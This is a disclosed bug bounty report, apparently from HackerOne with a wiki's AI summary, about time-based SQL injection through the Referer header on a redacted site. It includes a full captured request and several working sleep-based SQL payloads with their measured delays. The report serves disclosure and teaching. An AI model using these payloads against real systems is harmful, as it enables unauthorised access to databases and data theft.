[SQLI ]Time Bassed Injection at ██████████ via referer header
The Referer header was vulnerable to time-based SQL injection, allowing an attacker to execute arbitrary SQL queries and potentially dump the database.
Originally disclosed on HackerOne
- Disclosed after 16 days
Hi
the ████ was vulnerable to time bassed injection via referer header
#steps
1- copy the request to your burp suite :
Host: ███████
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
████=*
Upgrade-Insecure-Requests: 1
Referer: http://www.google.com/search?hl=en&q='+(select*from(select(sleep(7*7)))a)+' ```
the injection point is``` Referer: http://www.google.com/search?hl=en&q=*```
payload > '+(select*from(select(sleep(7*7)))a)+' > 7*7 = 49.> 49,708 mills
█████
payload > '+(select*from(select(sleep(20)))a)+' > 20 = 20,208 mills
██████████
payload> '+(select*from(select(sleep(20+10)))a)+' > 10+20=30 > 30,289 mills
██████████
## Impact
SQL Injection, attacker can dump the database of ████
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application concatenated the Referer header directly into a SQL query without sanitisation or parameterisation.
Impact
An attacker could dump the database of the affected system.
What the attacker needed
Ability to send crafted HTTP requests
How it was found
- Capture a request to the vulnerable endpoint in Burp Suite.
- Identify the Referer header as the injection point.
- Send a payload causing a delay of about 49.7 seconds and observe the response time.
- Send a payload causing a delay of about 20.2 seconds and observe the response time.
- Send a payload causing a delay of about 30.3 seconds and observe the response time.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
SQL injection is when user input is inserted into a database query without proper handling, letting an attacker change the query's meaning. Here, the Referer header (which tells the server where you came from) was used to sneak in a command that makes the database wait, and the delay proves the injection works.
What is SQL injection?
Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.